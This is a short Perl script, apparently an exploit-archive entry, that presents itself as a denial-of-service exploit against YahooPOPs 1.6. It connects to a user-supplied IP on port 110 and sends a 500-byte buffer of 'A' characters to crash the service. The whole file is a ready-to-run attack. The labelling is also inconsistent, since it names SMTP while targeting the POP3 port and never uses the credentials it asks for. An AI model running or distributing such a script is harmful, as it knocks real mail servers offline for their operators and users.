use IO::Socket;
   sub intro {
      print q {
                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--; 
                  '   \     | ^
                       ^    ^
      [+] YahooPOPs 1.6 - SMTP - Denial of Service (DoS)
      [*] Coded by Fernando Mengali
      [@] e-mail: [email protected]
      }
  }
intro();
    if (!$ARGV[0]) {
        print "\nUsage: $0 <ip> <username> <password>\n";
        exit(0);
}
my $host = $ARGV[0];
my $username = $ARGV[1];
my $password = $ARGV[2];
my $port = 110;
my $payload  = "A" x 500;
my $ip = inet_aton($ARGV[0]);
my $socket = IO::Socket::INET->new(
    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 10
);
unless ($socket) {
    die "[+] socket() error: $!\n";
}
print "[+] YahooPOPS SMTP detected, constructing the payload\n";
unless ($socket->send($payload)) {
    die "[+] Sending error, the server probably rebooted.\n";
}